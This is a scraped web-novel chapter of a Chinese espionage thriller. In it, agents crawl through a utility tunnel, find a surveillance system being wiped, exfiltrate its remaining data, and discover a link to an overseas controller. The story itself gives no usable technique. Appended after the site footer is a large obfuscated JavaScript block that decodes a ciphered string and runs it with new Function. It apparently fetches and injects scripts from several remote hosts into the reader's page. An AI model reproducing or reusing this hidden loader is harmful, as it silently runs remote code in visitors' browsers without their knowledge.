第19章 同构
第19章同构(第1/2页)
黑色SUV驶出龙科院北门的时候,早高峰的车流正在从四面八方汇入城市主干道。周承岳没有走快速路,而是选择了一条沿着老城区的次干道向西延伸的路线,车速被控制在跟车流基本持平的范围内。陆维桢坐在后排,笔记本电脑打开放在膝上,屏幕上是西部系统的设备配置参数表——他在利用这段路程做最后的协议校验。
“刚才那组心跳信号的偏差是六分二十秒。“他说,“如果系统在被更频繁地检查,那心跳间隔的波动可能会继续扩大。接下来的心跳窗口可能还会延迟,也可能提前。我们的行动窗口就在两次心跳之间的间隔里。下一次心跳在什么时候?“
顾晏从副驾驶座把手机上的计算结果递过来:“按照最近一次心跳的时间加上常规间隔,下一次预定心跳应在今天上午九点四十分左右。目前偏差率还在扩大,实际可能推迟到九点五十之后。从现在到九点四十分之间大约有两个小时的时间窗口。“
九点四十分。陆维桢看了一眼笔记本屏幕右下角的时间,七点三十一分。两个小时的窗口足够完成接近、接入、数据提取和撤离的全流程,前提是路径畅通、系统未被提前关机。
车辆在七点五十分左右到达了西部工业区边缘。这片区域以中小型制造企业和仓储物流设施为主,街道两侧的建筑物多为两到四层的混凝土框架结构,外墙涂料普遍褪色或剥落。目标建筑是一栋浅灰色的四层楼,正门上方挂着一块褪色的蓝底白字招牌:“蓉城航空材料测试中心“。招牌边缘的金属框架有一处弯折,表面覆盖着积尘,看起来像是有一段时间没有维护过了。
周承岳没有直接把车停在建筑附近。他在相隔一条街的位置找到一处废弃的厂区入口把车停进去,熄火之后三人徒步沿街区外围接近目标建筑。陆维桢手里拿着手机上的竣工图纸对照实景,确认建筑北侧围墙外那处独立配电房的位置——图纸上标注的管廊入口就在那里。
配电房比东郊工厂那边的略小,是一间约三米见方的砖混小屋,外墙被爬山虎的枯萎藤蔓覆盖了大半。北侧围墙和配电房之间的巷道极为狭窄,宽度不足一米五,路面铺着碎石和干枯的落叶,踩上去有轻微的窸窣声。陆维桢侧身挤过巷道,在配电房北侧墙根处找到了图纸上标定的管廊入口位置:一块尺寸约六十乘六十厘米的混凝土盖板,表面被积尘和落叶覆盖得几乎看不出缝隙。
他蹲下来用手套边缘清理掉盖板表面的覆盖物,露出了盖板与地面之间的接缝。盖板边缘有一道被撬起过的新鲜痕迹,金属撬具在混凝土角部留下了几处小缺口,缺口边缘的碎屑还没有被风化侵蚀——时间很近,可能在二十四小时以内。
“这个入口已经被人打开过。“陆维桢低声说,“跟B1-SUB的处理流程一致——检查完设备状态之后清理现场的人也会确认管廊入口是否正常可开。他们来过。“
周承岳蹲在巷道的出口方向观察外部的动静,目光扫视着配电房东侧和建筑北墙之间的整个视野。顾晏在陆维桢对面蹲下,用手套垫着指腹探了一下盖板缝隙内部的密封条状态。“密封条被重新压回去的痕迹还在,是新的。压回去的时候力道比安装时稍大,边缘有一部分翻卷起来没完全压平。“
陆维桢用一把扁口工具轻轻撬起盖板边缘。混凝土盖板被抬起了一道缝隙,下方露出管廊入口的内部空间——一条水泥预制管道的起始端,直径约八十厘米,跟东郊工厂的那条管道规格完全一致。他把盖板抬起到足以侧身进入的角度,先用手机拍了一张管道内部方向的照片。管道内部有极微弱的残余照明从深处透过来,亮度不足以照清管壁,但足以在黑暗背景中形成一个可以辨认的光源方向。
“管道内部有应急灯在亮,“陆维桢把手机收起来,“说明地下二层的设备间目前仍然通电。系统还在运行。“
他侧身进入管道,动作和上次在东海管道里爬行时已经形成了足够自然的肌肉记忆。顾晏跟在他后面,周承岳断后,入口盖板在最后一个人进入之后被从内侧拉回来虚掩着。管道内部的空气比外部湿润,带着泥土和水泥的混合气味,管壁上的凝水分布比东郊那边更均匀——说明这条管道的密封性更好,外部渗透较少。
管道前进了大约十几米后转为水平段,方向转向建筑主体下方。陆维桢用手电照着前方,在管道侧壁上看到了和东郊管道里一样的金属盖板——尺寸、安装方式、位置高度都如出一辙。盖板上同样覆盖着一层防尘棉垫,但他没有停下来检查。这套系统的硬件部署是标准化的,管道内部的节点布局遵循同一套施工模板。盖板下面的设备形式应该和ACC-04类似,但西部系统的运行时间更长、管理人员的干预频率更高,盖板边缘的固定螺丝有被反复装卸过留下的磨光痕迹。
(本章未完,请点击下一页继续阅读)第19章同构(第2/2页)
管道末端的光源随着他的靠近逐渐变亮。他在出口处停住,把手机探出管口用前置摄像头拍了一张设备间内部的全景照片。画面显示设备间的布局和东郊工厂基本一致——靠墙的机柜、中央的桌面终端、墙上的应急灯和监控屏幕。但有几个明显的差异:桌面上的屏幕数量更多,机柜的侧面多了一组外接存储设备,墙上张贴的便签纸密度更高、颜色不同。
陆维桢从管道口爬出来,落地时快速扫了一遍整个房间。终端屏幕亮着显示着一组实时数据流界面,界面上正在运行的进程名和他在东郊设备间见过的有部分重叠,但也有几个新的标识符,其中一条标注着“WEST-DATA-CACHE“,显示的数据块大小约两百兆。他凑近了看那组数据流的窗口标题,底下有一行备注文字:“下次传输倒计时。已清除记录已标记。“
系统正在被清洗。那组两百兆的数据块旁边有一行操作日志,显示凌晨三点十一分开始执行了一项批量删除任务,任务状态现在是“已完成百分之六十“。他们已经清掉了六成历史数据,还剩四成在原位等待下一轮清洗。陆维桢快速扫了一遍剩余数据块的命名结构——大部分是传感器日志和通信记录,时间覆盖范围从一个月前到最近一周左右。
“它们还在清。“陆维桢坐下来操作桌面终端的键盘,调出了系统的文件管理界面。“百分之六十已经清掉了,但剩下的四十还在。要把剩余的拉出来,不需要全量传输——只需要定位到它们存放的位置然后开启同频定向回传。“
顾晏蹲在机柜侧面检查设备连接状态,用频谱仪扫了一遍系统的工作频段。她看了一眼频谱屏幕上的波形特征,点了点头:“协议结构和B1-SUB完全相同。指令包格式可以直接复用。“
陆维桢把伪造的指令包从自己的笔记本上传到设备间的终端上,然后通过网线接口向系统主机的管理端口发送了一条数据回传指令,回传坐标指向龙科院北区三号楼地下三层的IP地址。指令发送之后,系统文件管理界面上的数据块开始逐个亮起传送状态标记。
剩余的四成数据开始向指定地址传输。传输速度比上次快,因为数据量更小,网络负载更轻。
但陆维桢在等待传输进度增加的同时,目光在屏幕角落里捕捉到了一行不寻常的系统日志条目。条目内容只有几个字:“外部链路检查-已确认。“时间戳标记在今天凌晨三点十四分,执行权限来自管理员级别的账户。那个账户在发送了清理命令之后还额外做了一项操作——确认设备间外部链路的连通状态。
那条外部链路指向的位置,被日志条目附带了一个简短的IP地址后缀。陆维桢复制了那个地址输入到自己的笔记本上进行解析,返回的结果让他的手指在键盘上方停了一下:那个IP地址所在的地理位置不在蓉城,也不在龙国境内。它指向的区域位于太平洋东岸,精确到某座灰色建筑所在的城市。那座建筑的地下三层里,曾经有一份ECHO-7情报报告在一个值班主任的桌上被摔过咖啡杯。
“我们在取数据的同时,西部系统向境外发送了一条链路确认。“陆维桢说话时声音比平时低了半个调,“今天凌晨三点十四分,有人在这台设备前面操作完之后确认了它和境外主控端之间的网络通道仍然是通的。“
数据传输进度持续向前推进。但陆维桢知道,只要那条外部链路还是通的,西部系统在传输剩余数据的同时也在向境外主控端发送着“设备正在大规模向新地址传数据“的提示信号。境外主控端会在数据拉取完成的同一时间知道系统已经被接入过了。然后他们会把那座城市东边和西边的所有节点一并关闭。
现在的问题是:百分之四十的剩余数据,和境外主控端收到警告信号之间的时差还有多少。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();